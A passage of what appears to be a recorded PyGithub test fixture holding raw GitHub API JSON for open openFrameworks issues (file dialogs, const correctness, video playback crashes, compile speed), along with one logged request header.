Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":523837,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/337"},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"closed_at":null,"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":522789,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/330"},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"assignee":null,"closed_at":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":522255,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/325"},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"assignee":null,"closed_at":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":522231,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/324"},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"assignee":null,"closed_at":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":518434,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/311"},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"assignee":null,"closed_at":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":516844,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/305"},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":516565,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/302"},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":516560,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/299"},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":516559,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/298"},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":516556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/296"},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"assignee":null,"closed_at":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","id":520375},"id":516071,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/292"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '43018'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"caade974e6dd6e7ac7febf9cb0494e92"'), ('date', 'Tue, 29 May 2012 06:43:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"assignee":null,"closed_at":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":513779,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/288"},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"assignee":null,"closed_at":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":445829,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/275"},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"assignee":null,"closed_at":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":433297,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/271"},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":426050,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/265"},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"assignee":null,"closed_at":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":425675,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/264"},{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"closed_at":null,"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/255"},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"assignee":null,"closed_at":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/249"},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/245"},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as 